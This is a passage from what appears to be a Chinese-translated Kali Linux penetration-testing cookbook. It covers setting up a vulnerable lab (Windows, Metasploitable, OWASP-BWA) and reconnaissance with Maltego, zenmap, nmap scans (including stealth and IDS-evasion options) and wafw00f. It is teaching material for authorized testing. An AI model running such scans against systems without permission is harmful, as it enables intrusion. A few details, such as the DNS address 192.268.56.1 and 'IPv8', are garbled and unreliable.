这些版本较为适宜,因为它们足够旧,拥有完善的漏洞文档和较低的资源需求。由于 Windows 7 桌面版和 Windows Server 2008 在本书写作时最为常见,我们建议在测试实验室中使用这些版本,并将在本书中作为示例。

  1. 如同我们在前面步骤中配置的虚拟机平台,例如 VirtualBox。

  2. 从你的 VirtualBox 界面开始,选择左上角的“新建”按钮,创建一个新的虚拟主机以安装 Windows。你需要使用与将要安装的 Windows 版本匹配的系统模板:

创建新的虚拟机

  1. 由于此机器仅用于测试,请为其分配 1 或 2 GB 的内存,并通过点击“下一步”直到完成配置部分,使用所有剩余选项的默认值。

  2. 一旦初始虚拟主机配置完成,你需要进入设置界面,告知虚拟主机从安装媒体启动。右击你刚创建的虚拟系统,进入设置。进入设置对话框后,从左侧菜单中选择“存储”,高亮显示最上方的控制器设备,点击“添加存储附件”按钮,并选择“添加光驱”。

  3. 在下一个对话框中,当询问是否希望留空存储选项时,选择“使用现有”。当系统提示时,导航到你的 Windows 安装媒体并点击“打开”;然后通过点击“确定”完成配置过程。

  4. 点击括号内的启动按钮,启动你的新虚拟机。

  5. 从这一点开始,您将按照所选 Windows 版本的默认操作系统安装过程进行操作。当给出安装附加服务的选项时,仅使用默认选择的选项。

  6. 在安装过程中,我们将给系统起个容易记住的名字。我们将桌面客户端命名为 Windows Desktop 1Windows Desktop 2,服务器命名为 AD Server

  7. 当系统提示您配置 Windows 更新服务时,请确保不要启用 Windows 更新的自动安装:

 取消选择自动 Windows 更新在某些平台上,您可以选择仅下载但不安装更新。如果您选择此选项,这将允许您评估系统的安全性,无论是在安装 Windows 更新之前还是之后。系统可能会要求您为管理员用户创建密码。如果是这种情况,请创建一个容易记住的用户名和密码,方便在后续章节中引用。

  1. 完成 Windows 7 安装后,重启机器,并在登录屏幕出现时登录。

  2. 登录后,将机器名称更改为 Win7_Desktop_1,并重新启动。

  3. 进入虚拟主机设置,确保网络适配器已分配到我们在本节中创建的仅主机网络。

  4. 现在机器已经正确配置,我们将克隆它以创建第二个 Windows 7 桌面实例。

机器的克隆使得从该镜像创建金像和工作副本变得非常容易。它不同于快照,后者创建的是时间点参考,可以在需要时回滚。

  1. 要创建 Windows 桌面机器的克隆,您需要使用“启动”选项启动它。启动后,不要登录机器;而是从桌面视图的顶部菜单栏中选择“机器 | 创建快照...”以启动快照创建过程:

创建快照

  1. 在下一个屏幕中,您将有机会为此快照命名并提供关于此快照目的的详细信息。由于我们很可能会频繁返回此状态,请将其命名为 Initial Installation,并在描述中注明这是一个干净的 Windows 安装,并且快照是在加入 AD 域之前创建的:

创建 VirtualBox 快照

  1. VirtualBox 将开始生成一个快照。根据系统的不同,这可能需要几分钟。完成后,使用登录屏幕右下角的电源按钮关闭系统——此时不要登录。

  2. 现在初始主机已经设置完毕,我们需要创建该设备的克隆。为此,右键点击 Windows 7 Desktop 1,选择下拉菜单中的“克隆...”:

开始克隆过程

  1. 当提示时,将其命名为Windows Desktop 2,并选择重新初始化所有可用网卡的 MAC 地址的选项。点击“下一步”。

  2. 当有选项时,选择“完全克隆”作为克隆类型,然后点击“下一步”。

  3. 由于我们将在后续步骤中创建此系统的新快照,因此选择“当前机器状态”作为快照选项,然后点击“下一步”。这将开始克隆过程,可能需要几分钟。

  4. 完成后,我们将像启动第一个 Windows 7 桌面 1 时那样启动此主机,但这次我们将在提示时登录。

  5. 登录后,你需要将机器名称更改为Win7_Desktop_2。允许机器重启。

  6. 回到登录界面后,按照之前的描述创建一个快照。

  7. 我们将以与配置 Windows 7 桌面相同的方式安装 Windows 2008 服务器,确保设备分配到我们在之前部分中创建的仅主机网络。

  8. 选择所有默认选项,安装 Windows 2008,并第一次登录。第一次登录时,你将看到初始配置任务工具。通过此工具,只配置以下内容:

设置时区 设置为你的时区

| 配置网络 | 设置 IP 信息如下:IP 地址:192.168.56.10 |

子网掩码:255.255.255.0

网关:192.168.56.1

DNS 服务器:192.268.56.1 |

计算机名称和域 计算机名称:AD-Server 目前保持为工作组

初始 Windows 服务器配置:

  1. 在设置完这些选项后重启服务器并登录。初始配置任务向导将再次打开。向下滚动到“添加角色”部分;在这里我们将向此服务器添加 DNS 和 DHCP 角色。

  2. 选择所有默认选项,除了以下内容:

页面 选项 设置
指定 IPv4 DNS 服务器设置 上级域 kalicookbook.local
添加或编辑 DHCP 作用域(点击添加) 作用域名称 Lab
起始 IP 地址 192.168.56.100
结束 IP 地址 192.168.56.150
默认网关 192.168.56.1
配置 IPv8 无状态模式 选择 DHCPv6 无状态模式... 禁用此服务器的 DHCPv6 无状态模式

初始角色配置

  1. 完成上述所有步骤后,重启服务器,并登录到每台桌面电脑,确保它们从 AD 服务器获取到 IP 地址,并且你可以通过 IP 地址 ping 通每台主机。我们将在后续步骤中配置 DNS。

  2. 在确认主机之间的网络连接正常后,关闭所有打开的窗口,并像之前一样创建一个快照。

  3. 创建并使桌面机器正常运行后,你需要在 AD 服务器上启用基本服务。登录到服务器后,初始配置任务向导将再次显示。此时,向下滚动到“自定义此服务器”部分,点击“添加角色”。

  4. 在“选择服务器角色”部分,选择并安装以下内容:

    • 文件服务

    • 远程桌面服务

    • Web 服务器(IIS)

如果系统提示需要包括依赖项,请接受并继续。

  1. 在安装过程中,你需要为之前添加的每个角色选择某些选项:

    1. 远程桌面服务:

      • 仅选择远程桌面会话主机,点击“下一步”。

      • 选择“不要求网络级身份验证”

      • 选择“稍后配置”以将远程桌面许可推迟到稍后的日期(最多 120 天)。

      • 允许的用户组:保持管理员不变并继续

    2. 保持所有其他选项为默认,并继续。根据提示重启系统,并再次登录;你将自动返回到添加角色向导。确认安装成功。

  2. 返回添加角色向导,选择这次安装活动目录域服务。遇到确认在域控制器上安装时的对话框时,点击“无论如何安装 AD DS”(不推荐),并接受任何可能需要的依赖项。继续安装过程,保持其余默认选项。完成后,选择“关闭”。

  3. 在左侧菜单中选择“活动目录域服务”;在右侧窗格中选择“运行活动目录域服务安装向导(dcpromo.exe)”。在向导中选择默认选项,除了以下内容:

    • 选择部署配置:在新林中创建新域

    • 林根域的 FQDN:kalicookbook.local

    • 林功能级别:Windows Server 2008 R2

    • 系统提示时,重启并确认没有错误。

  4. 现在,你需要登录每台 Windows 7 桌面计算机,并将它们加入到kalicookbook.local域。

  5. 登录每台计算机,确保禁用 Windows 更新。确保 Windows 防火墙也已禁用。

  6. 创建每台计算机的快照,为我们在本书中逐步操作提供基础。快照将允许我们回到预定的时间点。

安装 Metasploitable

Metasploitable 是我们测试环境的关键组成部分。它基于 Ubuntu Linux 操作系统,专门为渗透测试目的而设计。此虚拟机不应直接暴露在互联网上,为了我们的目的,我们将使用仅主机网络进行绑定。

准备就绪

在开始之前,请确保以下先决条件:

如何操作...

Metasploitable 的安装按照以下方式进行:

  1. 首先解压您之前下载的 Metasploitable ZIP 文件(发布时该文件为 metasploitable-linux-2.0.0.zip)。

  2. 将解压后的目录名称更改为 metasploitable

  3. 找到您的主要 VirtualBox 存储位置。

  4. Windows 默认路径:c:\users\<username>\virtualBox VMs

  5. Mac 默认路径:/users/<username>/VirtualBox VMs

您应该能在主路径下看到之前安装的 Kali Linux 虚拟机的目录。

  1. 在该目录中,创建一个名为 Virtual Disks 的新文件夹。这将形成以下路径:

...\VirtualBox VMs\Virtual Disks.

  1. 将您在解压文件时创建的 metasploitable 目录移动到您之前创建的 \Virtual Disks\ 目录下。

  2. 打开 VirtualBox 管理器应用程序,并在左上角选择“新建”。为了加速安装,如果我们不是专家模式,请点击底部的“专家模式”。

如果看到底部有“引导模式”选项,则表示您处于专家模式!

  1. 我们将虚拟机命名为 Metasploitable。选择类型为 Linux,版本为 Linux 2.6 / 3.x / 4.x (64-bit),并为内存大小输入 2048

  2. 选择“使用现有虚拟硬盘文件”,点击右侧的文件图标,浏览到上一步中提到的目录下,找到 metasploitable.vmdk 文件,然后点击“创建”。

  3. 现在我们将返回到 VirtualBox 管理器的主界面。点击 Metasploitable 虚拟机以高亮显示它,然后点击“设置”。

  4. 点击“网络”,在适配器 1 处选择“仅主机适配器”并将名称设置为 vboxnet0;最后,点击确定:

Metasploitable - 网络对话框

  1. 您将返回到 VirtualBox 管理器的主界面。点击 Metasploitable 高亮显示它并点击“启动”。

  2. 一旦虚拟机启动,您将看到主登录屏幕:

 Metasploitable 主登录屏幕要关闭此虚拟机,您必须登录并输入命令 sudo shutdown -h now。尽管虚拟机本身会关闭,但它不会结束 VirtualBox 会话。您必须选择屏幕顶部的红色 X 按钮,这将弹出一个对话框;选择“关机”单选按钮并点击确定。

安装 OWASP-BWA

开放式 Web 应用安全项目 (OWASP) 是一个全球社区,专注于安全意识和安全应用的开发。虽然这可能被认为是一个单一的应用程序或平台,但 OWASP 实际上是一个项目集合,涉及应用程序安全的各个方面。在本节中,我们将专注于 OWASP 破损的 Web 应用 (BWA) 项目,为我们提供一个标准化平台,用于后续章节中工具的测试。

准备就绪

要安装 OWASP-BWA 映像,我们需要执行以下操作:

如何操作...

要将 OWASP-BWA 安装到我们的 VirtualBox 环境中,我们将执行以下操作:

  1. 解压包含 OWASP-BWA 文件的 ZIP 文件到您将在接下来的步骤中引用的目录。

  2. 在 VirtualBox 的控制台中,点击左上角的“新建”图标开始创建新虚拟机。

  3. 我们将新虚拟机命名为 OWASP-BWA,并定义为 64 位 Ubuntu Linux 系统:为 OWASP-BWA 创建虚拟机

  4. 保留默认内存分配为 1024 MB,点击“下一步”。

  5. 现在,您需要选择“使用现有虚拟硬盘”并导航到您解压 OWASP-BWA 的目录。从该目录中,选择以下内容并点击“创建”:

选择 OWASP-BWA 虚拟磁盘

  1. 创建完虚拟机后,我们需要确保已指定正确的网络接口。右键点击左侧的新主机,选择“设置”。导航到“网络”,确保适配器 1 连接到“仅主机适配器”,并且其他适配器没有启用:

在 VirtualBox 中为 OWASP-BWA 指定网络适配器

  1. 完成后,启动新的虚拟机并确保它能够正常启动。

由于上次运行时间较长,fsck 很可能会在首次启动时运行。您可以允许其完成,以确保没有磁盘损坏问题——这个过程只需要几分钟。

  1. 完全启动后,以 root 用户登录,密码为 owaspbwa

  2. 通过在命令行中执行 ifconfig eth0,确保您从 DHCP 获得了 IP 地址。

  3. 打开浏览器,导航到 OWASP-BWA 客户机的 IP 地址。确保您能够看到 OWASP-BWA 中的不同项目。如果您能够看到以下网页,说明您已成功配置 OWASP-BWA:

确认 OWASP-BWA 上运行的服务

理解 hack me 和其他在线资源

还有其他一些可以在线访问或安装到 VirtualBox 中的资源,您可以利用它们来磨练您的渗透测试技能。以下是一些您可能想要探索的资源,作为本书练习的补充:

hack.me 从简单到高级的挑战 hack.me/
Hack this site 从简单到高级的挑战 www.hackthissite.org/
Vulnerable by design 从简单到高级的挑战 www.vulnhub.com/
Bee-Box 易受攻击的免费网站 sourceforge.net/projects/bwapp/files/bee-box/
Moth 易受攻击的 Web 应用 www.bonsai-sec.com/en/research/moth.php
RasPwn 易受攻击的树莓派镜像 raspwn.org/
OWASP-BWA OWASP 破损 Web 应用程序 www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
Hackfest 2016 Sedna 中等难度 - root 访问 www.vulnhub.com/entry/hackfest2016-sedna,181/
Hackfest 2016 Quaoar 易于攻破的机器 www.vulnhub.com/entry/hackfest2016-quaoar,180/
Pentester Lab: XSS 和 MySQL 文件 简单的 SQL 注入示例 www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/
SQL 注入到 Shell 中级 - SQL 注入到 Shell www.vulnhub.com/entry/pentester-lab-from-sql-injection-to-shell-ii,69/
Damn vulnerable web application 易受攻击的 PHP/MySQL 应用 github.com/Hackademic/hackademic
Hackxor Web 应用黑客游戏 hackxor.sourceforge.net/cgi-bin/index.pl
WebGoat 中等难度挑战 www.owasp.org/index.php/Category:OWASP_WebGoat_Project

还有更多...

上述资源将通过多种不同的方法进行安装,这些方法超出了本书的范围。但我会简要提到一些部署选项:

  • 可以安装在 VirtualBox 中的虚拟机

  • 可在标准 Linux 机器上运行的脚本,用于构建应用程序并使其专门对攻击易感

  • 你可以通过互联网攻击的资源

  • 完整自包含的黑客环境

请确保在使用这些网站时,仔细阅读服务条款,并理解你正在使用的环境或工具的所有要求和限制。如果你在互联网上远程攻击网站,请特别小心。尽管其中一些选项是为测试提供的,并且这样做可能是合法的,但你的互联网服务提供商(ISP)可能会将此活动标记为恶意并采取相应措施。

第二章:侦察与扫描

在本章中,我们将讨论以下主题:

  • 使用 KeepNote 组织我们的数据

  • 启动 Maltego CE

  • 收集域名信息

  • 收集公共 IP 信息

  • 收集外部路由信息

  • 收集内部路由信息

  • 收集云服务信息

  • 识别网络主机

  • 主机信息分析

  • 识别是否存在 Web 应用防火墙

  • 使用 SNMP 收集更多信息

介绍

在本章中,你将学习如何收集有关目标环境的必要信息。我们将花时间尽可能识别更多的信息。我们收集的越多,潜在的渗透路径就越多,渗透尝试也会更成功。我们将收集域名、IP 子网、主机、路由信息以及其他有用的信息。你还将学习如何跟踪这些数据,以便我们在渗透测试的过程中参考这些信息。

使用 KeepNote 组织我们的数据

我们将探索应用程序 KeepNote,以及如何使用它捕捉我们在测试过程中发现的信息。

记录所有信息非常重要,因为这些信息将对后续章节以及为客户创建报告时非常有用。Kali 实际上提供了一些专用的工具来记录你的信息。不要重新发明轮子;如果你已经使用过像 Microsoft OneNote 或 EverNote 这样的记笔记工具,就继续使用它。但如果没有的话,Kali 提供了一款跨平台的记笔记应用 KeepNote,可以在没有特别偏好的情况下使用。但始终记住,作为一名渗透测试员,你收集的信息可能会对客户造成严重危害,因此在选择用于记录数据的工具时,请时刻考虑安全性和隐私问题。

准备工作

确保以下前提条件:

  • Kali Linux 正在运行,并且你已经以 root 用户登录

  • 验证互联网连接

如何操作…

在这个教程中,我们将学习如何使用 KeepNote 来收集和整理我们收集的数据:

  1. 点击应用程序。将鼠标滑动到 12 - 报告工具,并点击 KeepNote 图标:

  1. 在 KeepNote 的主屏幕中,选择 文件 | 新建笔记本。我们将看到一个文件导航界面。选择/root/Documents并输入你的客户名称(例如我们使用 customer_1),然后点击 新建:

KeepNote - 新笔记本屏幕

  1. 我们要收集的第一条信息是基本的公司详细信息。点击 文件 | 新建页面,命名为 公司信息,然后按 Enter

KeepNote - 新建页面屏幕

  1. 收集有关目标的所有可能信息。使用谷歌搜索,访问其网站,如果是公共公司,收集其财务和 SEC 文件信息:

KeepNote - 添加信息屏幕

  1. 点击“文件”| “新建子页面”,并将其命名为e-mail addresses。添加任何您能找到的电子邮件地址:

KeepNote - 新建子页面

  1. 要保存笔记本,请点击“文件”| “保存笔记本”。

  2. 要退出,请点击“文件”| “退出”,但确保您始终先保存。

您永远不会停止记录信息。无论您找到多么细小的信息,都要记录并保持组织。您可以添加来自运行命令、图像和屏幕截图的输出信息。在进行几次操作后,您可能会发现可以开始使用基本信息模板。您可以创建一个通用模板,其中已经设置了页面和子页面。每当您开始新的工作时,只需复制它。您可以随时修改和调整这些模板,以捕获新的信息类别。

更多内容...

探索KeepNote 应用的网站,获取更多信息及其功能。

快速入门 Maltego CE

我们将继续使用maltego community editionMaltego CE)来完成几个新的操作步骤。本章将带您完成 Maltego 的初始设置。Maltego 是一个用于数据挖掘和发现的工具。它将信息放入知识图谱中,您可以继续构建并从中进行数据透视,以帮助发现和收集信息。这些信息随后可以用来扩展我们的攻击面。

准备工作

让我们确保以下先决条件:

如何操作...

在本教程中,我们将注册并设置 Matego - Community Edition:

  1. 启动 Maltego CE,方法是打开“应用程序”| 01 - 信息收集。点击 maltegoce:

Kali 应用程序菜单屏幕

  1. 欢迎屏幕将显示。点击“下一步”以继续。

  2. 现在您将被带到“从以下位置安装变换:”屏幕。确保 Maltego 公共服务器上有一个复选标记,并点击“下一步”。

  3. 在“准备好了...开始吧!”屏幕上,选择“走开,我之前已经做过了!”,然后点击“完成”。

  4. 点击屏幕左上角的 Maltego CE 图标,然后在底部选择“登录到社区服务器”:

Maltego 图标

  1. 使用你在前面的准备工作部分创建的凭据登录,然后点击“下一步”:

Maltego 登录界面

  1. 屏幕上会显示你在注册时使用的个人信息;点击“完成”。

Maltego 通过你的登录提供的 API 密钥有效期为三天。每三天,你需要重新登录以获取新的 API 密钥。

  1. 现在我们完成了所有操作,应该会进入 Transform Hub。首先,让我们点击“刷新 Transform Hub”,以确保我们拥有最新的转换列表。

  2. 一旦 Transform Hub 刷新完成,你可以开始安装列出的所有转换。

  3. 你可以通过点击它并选择安装来轻松安装转换。

  4. 安装好转换后,你可以点击它们查看是否有任何设置需要修改或希望修改。特别是,你可能需要根据需要为其他转换设置凭据,以便使用它们。

转换是一个操作,它会获取一些数据,并将其与预定义的一组特征进行分析,然后将这些信息添加到图表中。稍后,我们将回顾我们的一组转换所组合成的机器。在这里,我们可以通过将多个转换串联在一起执行连续的数据操作。请注意,Maltego 的社区版每次转换最多返回 12 条数据,这可能需要你多次运行某些转换,或者使用较少细节的信息,以便接收所有信息。

还有更多...

你可以在docs.paterva.com/en/user-guide/上阅读更多关于 Maltego 的信息。Maltego 有许多其他的转换功能,你可以在线搜索。以下是一些可以帮助你入门的链接:

收集域名信息

在这个教程中,我们将使用 Maltego CE 来收集互联网域名信息。如果我们主要进行的是外部的互联网渗透测试,这些信息将为我们提供大量关于该网络公开部分的宝贵资料。此工具将从一个域名开始,并扩展到多个不同的公开域名信息。

准备工作

确保以下先决条件:

  • Kali Linux 正在运行,你以 root 身份登录

  • 验证网络连接到互联网

  • Maltego 正在运行

如何操作...

在这个操作中,我们将使用 Maltego CE 收集目标域名的信息:

  1. 在左上角,点击新的图表按钮:

  1. 在左侧,选择实体调色板。向下滚动到基础设施,点击域名。将其拖到图表中。

  2. paterva.com重命名为example.comexample.com就足够作为此次测试的目标域名:

Maltego - 新图表页面我们将使用example.com进行一些初步测试。example.com是一个保留的站点,专门用于文档说明。它背后有一些基础设施。由于基础设施非常简单,因此某些结果可能不完整。你可以使用example.com进行测试,或者使用你有权限访问的其他域名。

  1. 右键点击example.com域名图标,这将展示各种转换选项。我们从获取 whois 信息开始。导航到 Threat Miner | [Threat Miner] 域名到 Whois 详细信息。这将访问并提取该域名的所有公开可用信息。如果此时你双击该域名图标,并从顶部选择属性(14)。然后,你将看到所有信息已被填充:

花一分钟时间熟悉转换界面的操作。右键点击example.com打开“运行转换”对话框。在左侧边缘,你可能会注意到一个返回箭头,可以将你带回到转换菜单。根据你所在的位置,你可能需要点击返回几次才能回到根转换屏幕;根据需要进入一些已填充的选项。

  1. 继续构建图表并填充名称服务器。右键点击example.com,选择 Paterva CTS | DNS 从域名|到 DNS 名称 - NS(名称服务器)。现在你将看到我们的名称服务器被填充:

Maltego - 带有名称服务器的example.com图表

还有更多...

你可以利用 Maltego 收集大量其他信息。花些时间尝试收集更多关于域名的信息。测试一些不同的转换,即使某个转换无法收集特定类型的数据,另一个转换可能会成功收集到。另外,你还可以使用 Maltego 发现可能与公司相关的其他域名。也许他们有example.comexample.org,这些域名具有不同的映射,所以花时间探索并收集尽可能多的信息。

我们将继续使用 Maltego 进行更多示例,因此,请在此时保存你的图表,以便稍后返回,或者继续进行其他操作。

收集公共 IP 信息

我们现在将使用 Maltego 获取外部主机、IP 地址和一些网段信息。

准备工作

我们想从上一部分继续,因此,如果你在一段时间后再次打开这本书,请从收集域名信息配方中打开你保存的 Maltego 图。

如何操作...

在这个配方中,我们将使用 Maltego CE 来收集一个公司的公共 IP 信息:

  1. 从图形界面开始,右键点击 example.com 域图标并选择 Paterva CTAS | DNS 从域名 | 到网站 [快速查找]。现在你会发现 www.example.com

Maltego - 显示 www.example.com 的图形界面针对一个实际的域名,尝试以下转换以进一步传播主机列表。你可能想尝试的一些转换包括:Paterva CTAS | DNS 从域名 | 到 DNS 名称 [使用数据库] 和 Paterva CTAS | DNS 从域名 | 到 DNS 名称 [查找常见的 DNS 名称]。

  1. 现在让我们将所有对象的主机名解析为对应的 IP 地址。首先,通过点击并拖动你想选择的多个对象来高亮显示它们。高亮显示这些项后,右键点击并选择 Paterva CTAS | 解析为 IP | 到 IP 地址 [DNS]:

Maltego - 显示 www.example.com 的图形界面

  1. 既然我们已经得到了 www.example.com 的 IP 地址,现在让我们获取其网段信息。右键点击相关的 IP 地址,选择所有转换 | 到网段 [使用路由信息]:

Maltego - 显示 www.example.com 的图形界面我们将继续使用 Maltego 来进行后续示例,因此,可以在此时保存你的图,以便以后回来,或者继续进行其他操作。

收集外部路由信息

现在我们将使用 Maltego 获取外部路由信息。外部路由信息可以为我们提供有价值的信息,比如它们的互联网服务提供商是谁,以及它们的流量如何流动。

准备工作

我们想从上一部分的内容继续,因此,如果你在一段时间后再次打开这本书,请从收集公共 IP 信息配方中打开你保存的 Maltego 图。

如何操作...

我们将使用 Maltego CE 来收集 BGP 自治系统信息:

  1. 通过右键点击 IP 网段,我们现在可以通过选择 Paterva CTAS** | ** 到 AS 编号 来获取分配给该网段的 BGP AS 编号:

Maltego - 显示 www.example.com 的图形界面

  1. 接下来,我们想找到该 AS 编号的所有者。右键点击 AS 编号并选择所有转换 | 到公司 [所有者]。

我们将继续使用 Maltego 来进行后续示例,因此,可以在此时保存你的图,以便以后回来,或者继续进行其他操作。

收集内部路由信息

我们将使用 zenmap 来提供网络的图形化表示。Zenmap 是 nmap 的图形前端。Zenmap 在某些图形输出方面比 nmap 有一定的优势。我们将利用它来提供我们目标网络的可视化展示。通过了解内部网络的布局,我们可以利用这些信息将攻击扩展到本地子网之外。

准备工作

让我们确保以下前提条件:

  • Kali Linux 正在运行,你已以 root 用户登录

  • 验证与互联网的网络连接

如何操作...

我们将使用 zenmap 将我们的网络绘制到一个预定的点:

  1. 通过选择应用程序 | 信息收集 - zenmap 打开 zenmap。花一分钟时间查看界面。你可以看到一些预设的扫描配置,也可以创建自己的配置来执行重复的任务。你还会看到几个输出标签页。我们将稍微集中在拓扑部分:

Zenmap - 主界面

  1. 首先使用 nmap 路由追踪扫描,使用 ICMP 来绘制我们需要对 scanme.nmap.org 进行扫描的路径。在目标屏幕中,输入 scanme.nmap.org,然后我们将使用以下选项:-sn 进行简单的 ping 扫描,-PE 指定 ICMP 协议,-traceroute 指示我们需要追踪到目的地的路由信息。完成后,点击拓扑查看网络的图形视图。这个信息可以帮助我们查看其他可能想要扫描的区域:

Zenmap - 外部拓扑扫描

  1. 如果我们有对内部网络的访问权限,我们可以尝试使用 RFC1918 地址块对其进行扫描。为了加快速度,我们只扫描了 192.168.0.0/16 地址块。正如你所看到的,我们发现了其他值得探索的地址块:

Zenmap - 内部拓扑扫描 这将是一个相当吵闹的扫描,因此,在典型的渗透测试场景中,我们的扫描会更加战术性。我们将通过对一些我们已知的特定目标进行路由追踪:内部 DNS 服务器、域控制器等。我们将利用这些信息,使得扫描更加具体和狭窄。

  1. 你可以点击保存图形,将拓扑保存为 PDF 或 PNG 文件,并插入到 KeepNote 中。你也可以通过选择扫描 | 保存扫描以便以后参考,或者继续扩展你对网络主机和主机发现的知识。

还有更多内容...

记住,zenmap 提供了所有 nmap 的功能和能力。尝试一些额外的扫描,包括路由追踪,并尝试使用它来构建你自己内部家庭网络或你被授权使用的网络的地图。

另外,获取更多信息,请查看nmap.org/book/zenmap.html

收集云服务信息

接下来,我们想要发现目标是否在使用任何基于云的服务。 根据我们找到的 IP 地址,我们可以看到是否有多个不同的域和主机信息与单个 IP 地址相关联,这表明某种形式的云服务。

云服务有几种不同的形式和提供方式。 云服务最初以软件即服务SaaS)的形式开始,例如 Office 365 和 Exchange 365,以及平台即服务PaaS),例如 AWS 和 Azure。 今天,许多组织依赖于基于云的系统。 有时,这些系统作为数据中心基础设施的一部分进行控制、管理和监控。 在其他情况下,此类使用被视为影子 IT。 影子 IT 指的是在企业 IT 环境和控制之外启动的服务。 通常用于开发目的或实际绕过基于标准企业 IT 政策的限制或延迟。 这些环境可能充满信息; 事实上,一些最近的个人身份信息PII)泄露事件是由于未加保护或安全糟糕的测试应用程序造成的,这些应用程序使用了数据库中的真实数据。

准备好

我们希望从上一节离开的地方继续,所以如果您一段时间后回到这本书,请打开您保存的 Maltego 图表,从“收集公共 IP 信息”食谱继续。

如何做……

现在我们将使用 Maltego CE 获取有关网络块和主机的信息:

  1. 右键单击网块可以获得有关它的更多信息,并选择所有转换|到实体(NER):

Maltego - 图形屏幕,参考 www.example.com

  1. 分析信息,看看是否有迹象表明它是云服务提供商;在这种情况下没有机会,但让我们试试其他东西。

  2. 以下是另一个域的输出。 在这种情况下,我们看到这个网站(未透露)是由 Weebly 托管的,这是一个流行的 Web 托管公司:

Maltego - 图形屏幕,参考 weeblyRun 函数,针对我们过去处理过的各种域信息中能找到的所有 IP 地址,看看它们是否与已知服务提供商有关。

标识网络主机

我们可以使用各种方法来扫描内部或外部网络上的主机。 我们将详细探讨其中一些方法。 我们将在本节中的几个示例中使用 nmap。 TCP 端口扫描在 nmap 中是默认的,因为我们大多数知名服务器使用 TCP 运行。 但从渗透的角度来看,有一些非常有用的 UDP 端口可能是开放的,这些端口可能会为我们提供攻击向量,例如 SNMP。

准备好

让我们确保以下先决条件:

  • Kali Linux 正在运行,您以 root 身份登录

  • 启动其他测试机器(Metasploitable 和 Windows)

  • 验证你计划扫描的网络的网络连接性

如何操作...

我们将使用 nmap 和各种命令行选项执行多种不同的扫描:

  1. 通过点击终端图标打开终端屏幕:

  1. 从主终端屏幕,你应该处于root@kali:~#的命令提示符下。

  2. 输入nmap并按下回车。屏幕上应该会显示一个选项列表;简要查看一下选项列表。

一个简单的子网扫描

我们将执行一个子网的简单扫描:

对你的实验室网络192.168.56.0/24进行简单的子网扫描。请根据在安装 Kali 的 VirtualBox 部分中为你的实验室网络创建的子网进行替换:

nmap 192.168.56.0/24 

此命令将扫描特定子网范围内所有目标的 1000 个常用端口。查看输出。在我们的 Metasploitable 机器(192.168.56.102)中,我们将看到以下输出。从这个输出中,我们可以识别出 IP 地址以及开放端口的数量:

扫描主机的所有 TCP 端口

要执行 Metasploitable 机器192.168.56.102的完整 TCP 扫描,我们需要添加命令行选项-p-。请替换为你 Metasploitable 虚拟机的 IP 地址:

nmap -p- 192.168.56.102

此命令将扫描目标设备的所有 TCP 端口。以下是我们扫描的输出。你会注意到我们发现了一些新的开放端口:

执行 TCP SYN 扫描

TCP SYN 扫描,也称为半开放扫描,由于其特定的扫描方式非常有用;它们通常不会被目标设备记录。这使得你能够在不留下扫描痕迹的情况下扫描主机:

nmap -sS -p- 192.168.56.102 

扫描主机后,你会注意到我们发现了相同的开放端口。

执行 UDP 端口扫描

对目标执行 UDP 扫描为我们提供了额外的攻击向量。我们还将添加一些额外的命令行选项。我们还添加了-r选项用于随机化,这有助于避免被 IDS 和 IPS 等安全设备检测到,另外还有-v选项用于详细输出,让我们在等待时能更快看到操作进度。这个扫描将需要几分钟,因此在等待时知道它在做什么是非常有用的:

nmap -sU -r -v 192.168.56.102 

从输出中可以看到,我们确实发现了几个可以稍后探索的 UDP 端口:

nmap 输出格式

有几种类型的输出格式可供使用,可以用于简单地记录数据、以 XML 格式记录以便可能输入到另一个程序中,或者输出以供 grep 使用:

nmap -oN filename.txt N是标准的默认文本输出格式
nmap -oG filename.txt G是一个格式,便于你对文件进行 grep 操作
nmap -oX filename.xml X表示 XML 格式

让我们进行一次简单的扫描,并将结果输出到文件以便使用 grep:

nmap -p- -oG 192_168_56_102.txt 192.168.56.102

你将在屏幕上看到输出,并且它也会输出到你主目录下的一个 TXT 文件中,你可以将其作为 grep 的目标:

主机分析

我们将继续使用 nmap 的一些高级功能,以提供关于特定主机的更多信息。

准备工作

让我们确保满足以下前提条件:

  • Kali Linux 正在运行,并且你已以 root 身份登录

  • 启动其他测试机器(Metasploitable 和 Windows)

  • 验证计划扫描的网络的网络连接

  • 网络连接

如何操作…

我们现在将针对特定主机进行更有针对性的 nmap 扫描,以获取关于开放端口和协议的进一步信息:

  1. 点击左上角的终端图标,打开终端屏幕:

  1. 从主终端屏幕来看,你应该处于 root@kali:~# 的命令提示符下。

操作系统和服务检测

以下命令将对我们的 Metasploitable 主机进行操作系统和服务发现:

nmap -A 192.168.56.102

你会注意到输出中提供了相当多的信息。从底部开始,你会看到它正确识别了机器以及其他有用的信息:

当我们滚动查看输出时,我们可以看到关于运行服务的相当多的信息。它提供了有关端口上运行的特定服务、版本信息以及其他相关信息。以下是 VNC 端口的一个示例:

激进的服务检测

为了对主机进行激进的服务扫描,我们将使用以下命令:

nmap -sV --version-intensity 5 192.168.56.102

你将看到我们得到了一个整合的输出,包含开放端口、服务和版本信息:

还有更多…

如果你有兴趣了解更多关于 nmap 的内容,请查看 nmap.org/nmap_doc.html。此外,对于那些更喜欢使用 nmap 图形界面的用户,还有 zenmap。为什么不打开它并尝试做几个扫描呢?最后,如果你想尝试在互联网上测试 nmap 或 zenmap 的目标,可以尝试 scanme.nmap.org。该网站提供了一个训练工具,你可以在上面进行扫描,只要你不对测试过于激进。

确定是否存在 Web 应用防火墙

我们将使用 wafw00f 来确定我们与目标网站之间是否存在 Web 应用防火墙。

许多组织会使用Web 应用防火墙WAF)来保护网站免受特定的 Web 攻击。理解安全设备位于你和目标之间非常重要。你需要进行混淆并避免被检测到。你必须更加有针对性,并使用特殊技术来渗透网站,即使 WAF 已存在。

准备工作

让我们确保以下前提条件:

  • Kali Linux 正在运行,你以 root 身份登录

  • 验证互联网连接

如何操作...

在这个示例中,我们将使用wafwoof查看路径中是否存在 Web 应用防火墙:

  1. 点击左上角的终端图标,打开终端屏幕:

  1. 从主终端屏幕,你应该看到root@kali:~#的命令提示符。

  2. 让我们检查一个没有 WAF 的网站:

 wafw00f scanme.nmap.org 
  1. wafw00f将提供结果,显示没有检测到 WAF 保护scanme.nmap.org

wafwoof 输出 - 没有 WAF

  1. 现在,我们可以使用以下命令检查一个带 WAF 的网站:
 wafw00f www.example.com
